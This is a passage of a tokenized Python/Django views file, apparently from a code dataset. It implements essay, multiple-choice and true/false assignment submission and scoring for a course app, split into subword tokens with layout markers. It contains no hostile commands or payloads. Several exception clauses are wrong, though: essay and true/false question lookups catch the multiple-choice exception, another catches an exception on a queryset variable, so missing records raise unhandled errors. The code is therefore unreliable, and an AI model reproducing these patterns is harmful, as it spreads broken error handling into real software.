"\\u\\u\\uINDENT\\u\\u\\u ", " _", "tf", "\\u", "submissions_", "=_", "Tru", "e", "Fal", "se", "Submission_", "._", "objects_", "._", "filter_", "(_", "question", "\\u\\u", "assignment_", "=_", "assignment_", ",_", "student_", "=_", "student_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tf", "\\u", "submissions_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "tf", "\\u", "submissions_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r", "\\u", "submissions_", "=_", "Respons", "e", "Submission_", "._", "objects_", "._", "filter_", "(_", "question", "\\u\\u", "assignment_", "=_", "assignment_", ",_", "student_", "=_", "student_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r", "\\u", "submissions_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Respons", "e", "Question_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "success", "'_", ",_", "'", "message", "'_", ":_", "'", "assign", "ment", " ", "was", " ", "delete", "d", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "data_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "login", "\\u", "required_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "submit", "\\u", "e\\u", "assign", "ment", "\\u", "answer_", "(_", "request_", ",_", "course", "\\u", "id_", ",_", "assign", "ment", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "fail", "ed", "'_", ",_", "'", "message", "'_", ":_", "'", "error", " ", "submit", "ting", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "request_", "._", "is", "\\u", "ajax_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", "._", "method_", "==_", "'", "POST", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Extract", " ", "parameter", "s", " ", "from", " ", "post_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "question", "\\u", "id_", "=_", "int_", "(_", "request_", "._", "POST_", "[_", "'", "question", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file_", "=_", "request_", "._", "FILES_", "[_", "\"", "file", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "fail", "ed", "'_", ",_", "'", "message", "'_", ":_", "'", "missi", "ng", " ", "file", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "data_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "from", " ", "database_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "course_", "=_", "Course_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "course", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "student_", "=_", "Student_", "._", "objects_", "._", "get_", "(_", "user_", "=_", "request_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assignment_", "=_", "Assignment_", "._", "objects_", "._", "get_", "(_", "assign", "ment", "\\u", "id_", "=_", "assign", "ment", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "question", " ", "and", " ", "error", " ", "if", " ", "not", " ", "found", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "question_", "=_", "Ess", "ay", "Question_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "assignment_", "=_", "assignment_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question", "\\u", "id_", "=_", "question", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Multipl", "e", "Choi", "ce", "Question_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "fail", "ed", "'_", ",_", "'", "message", "'_", ":_", "'", "cann", "ot", " ", "find", " ", "question", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "data_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "=_", "Ess", "ay", "Submission_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "student_", "=_", "student_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question_", "=_", "question_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Ess", "ay", "Submission_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "=_", "Ess", "ay", "Submission_", "._", "objects_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "student_", "=_", "student_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question_", "=_", "question_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "submission_", "._", "file_", "=_", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "submission_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "success", "'_", ",_", "'", "message", "'_", ":_", "'", "submitted", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "form", " ", "=", " ", "Ess", "ay", "Subm", "ission", "Form", "(", "instance", "=", "subm", "ission", ",", " ", "files", "=", "request", ".", "FILE", "S", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "form", ".", "is", "\\u", "valid", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "form", ".", "save", "()", " ", " ", "#", " ", "Save", " ", "the", " ", "form", " ", "content", "s", " ", "to", " ", "the", " ", "model_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "response", "\\u", "data", " ", "=", " ", "{", "'", "status", "'", " ", ":", " ", "'", "success", "',", " ", "'", "message", "'", " ", ":", " ", "'", "submitted", "'}", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "response", "\\u", "data", " ", "=", " ", "{", "'", "status", "'", " ", ":", " ", "'", "fail", "ed", "',", " ", "'", "message", "'", " ", ":", " ", "json", ".", "dump", "s", "(", "form", ".", "error", "s", ")}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "data_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "login", "\\u", "required_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "submit", "\\u", "mc", "\\u", "assign", "ment", "\\u", "answer_", "(_", "request_", ",_", "course", "\\u", "id_", ",_", "assign", "ment", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", "._", "is", "\\u", "ajax_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", "._", "method_", "==_", "'", "POST", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Extract", " ", "parameter", "s", " ", "from", " ", "post_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "question", "\\u", "id_", "=_", "int_", "(_", "request_", "._", "POST_", "[_", "'", "question", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "answer_", "=_", "request_", "._", "POST_", "[_", "'", "answer", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "from", " ", "database_", "\\u\\u\\uNL\\u\\u\\u_", "course_", "=_", "Course_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "course", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assignment_", "=_", "Assignment_", "._", "objects_", "._", "get_", "(_", "assign", "ment", "\\u", "id_", "=_", "assign", "ment", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "student_", "=_", "Student_", "._", "objects_", "._", "get_", "(_", "user_", "=_", "request_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "question", " ", "and", " ", "error", " ", "if", " ", "not", " ", "found", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "question_", "=_", "Multipl", "e", "Choi", "ce", "Question_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "assignment_", "=_", "assignment_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question", "\\u", "id_", "=_", "question", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Multipl", "e", "Choi", "ce", "Question_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "fail", "ed", "'_", ",_", "'", "message", "'_", ":_", "'", "cann", "ot", " ", "find", " ", "question", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "data_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "subm", "ission", " ", "and", " ", "create", " ", "new", " ", "subm", "ission", " ", "if", " ", "not", " ", "found", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "=_", "Multipl", "e", "Choi", "ce", "Submission_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "student_", "=_", "student_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question_", "=_", "question_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Multipl", "e", "Choi", "ce", "Submission_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "=_", "Multipl", "e", "Choi", "ce", "Submission_", "._", "objects_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "student_", "=_", "student_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question_", "=_", "question_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Save", " ", "answer_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "answer_", "==_", "'", "A", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "._", "a_", "=_", "not_", "submission_", "._", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "answer_", "==_", "'", "B", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "._", "b_", "=_", "not_", "submission_", "._", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "answer_", "==_", "'", "C", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "._", "c_", "=_", "not_", "submission_", "._", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "answer_", "==_", "'", "D", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "._", "d_", "=_", "not_", "submission_", "._", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "answer_", "==_", "'", "E", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "._", "e_", "=_", "not_", "submission_", "._", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "answer_", "==_", "'", "F", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "._", "f_", "=_", "not_", "submission_", "._", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "submission_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ca", "clu", "late", " ", "score_", "\\u\\u\\uNL\\u\\u\\u_", "total_", "=_", "6_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "correct_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "submission_", "._", "a_", "==_", "submission_", "._", "question_", "._", "a", "\\u", "is", "\\u", "correct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "correct_", "+=_", "1_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "submission_", "._", "b_", "==_", "submission_", "._", "question_", "._", "b", "\\u", "is", "\\u", "correct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "correct_", "+=_", "1_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "submission_", "._", "c_", "==_", "submission_", "._", "question_", "._", "c\\u", "is", "\\u", "correct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "correct_", "+=_", "1_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "submission_", "._", "d_", "==_", "submission_", "._", "question_", "._", "d\\u", "is", "\\u", "correct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "correct_", "+=_", "1_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "submission_", "._", "e_", "==_", "submission_", "._", "question_", "._", "e\\u", "is", "\\u", "correct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "correct_", "+=_", "1_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "submission_", "._", "f_", "==_", "submission_", "._", "question_", "._", "f", "\\u", "is", "\\u", "correct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "correct_", "+=_", "1_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "all", " ", "choice", "s", " ", "have", " ", "bee", "n", " ", "correct", "ly", " ", "selecte", "d", ",", " ", "then", " ", "give", " ", "full", " ", "credit", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "total_", "==_", "correct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "._", "marks_", "=_", "submission_", "._", "question_", "._", "marks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "._", "marks_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "submission_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Return", " ", "success", " ", "results_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "success", "'_", ",_", "'", "message", "'_", ":_", "'", "submitted", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "data_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "fail", "ed", "'_", ",_", "'", "message", "'_", ":_", "'", "error", " ", "submit", "ting", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "data_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "login", "\\u", "required_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "submit", "\\u", "tf", "\\u", "assign", "ment", "\\u", "answer_", "(_", "request_", ",_", "course", "\\u", "id_", ",_", "assign", "ment", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", "._", "is", "\\u", "ajax_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", "._", "method_", "==_", "'", "POST", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Extract", " ", "parameter", "s", " ", "from", " ", "post_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "question", "\\u", "id_", "=_", "int_", "(_", "request_", "._", "POST_", "[_", "'", "question", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "answer_", "=_", "request_", "._", "POST_", "[_", "'", "answer", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "from", " ", "database_", "\\u\\u\\uNL\\u\\u\\u_", "course_", "=_", "Course_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "course", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assignment_", "=_", "Assignment_", "._", "objects_", "._", "get_", "(_", "assign", "ment", "\\u", "id_", "=_", "assign", "ment", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "student_", "=_", "Student_", "._", "objects_", "._", "get_", "(_", "user_", "=_", "request_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "question", " ", "and", " ", "error", " ", "if", " ", "not", " ", "found", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "question_", "=_", "Tru", "e", "Fal", "se", "Question_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "assignment_", "=_", "assignment_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question", "\\u", "id_", "=_", "question", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Multipl", "e", "Choi", "ce", "Question_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "fail", "ed", "'_", ",_", "'", "message", "'_", ":_", "'", "cann", "ot", " ", "find", " ", "question", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "data_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "subm", "ission", " ", "and", " ", "create", " ", "new", " ", "subm", "ission", " ", "if", " ", "not", " ", "found", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "=_", "Tru", "e", "Fal", "se", "Submission_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "student_", "=_", "student_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question", "\\u", "id_", "=_", "question", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Tru", "e", "Fal", "se", "Submission_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "=_", "Tru", "e", "Fal", "se", "Submission_", "._", "objects_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "student_", "=_", "student_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question", "\\u", "id_", "=_", "question", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Process", " ", "the", " ", "answer_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "submission_", "._", "answer_", "=_", "answer_", "==_", "\"", "true", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "submission_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Calculat", "e", " ", "the", " ", "marks_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "submission_", "._", "answer_", "==_", "submission_", "._", "question_", "._", "answer_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "._", "marks_", "=_", "submission_", "._", "question_", "._", "marks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "._", "marks_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "submission_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "success", "'_", ",_", "'", "message", "'_", ":_", "'", "submitted", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "data_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "login", "\\u", "required_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "submit", "\\u", "r", "\\u", "assign", "ment", "\\u", "answer_", "(_", "request_", ",_", "course", "\\u", "id_", ",_", "assign", "ment", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", "._", "is", "\\u", "ajax_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", "._", "method_", "==_", "'", "POST", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Extract", " ", "parameter", "s", " ", 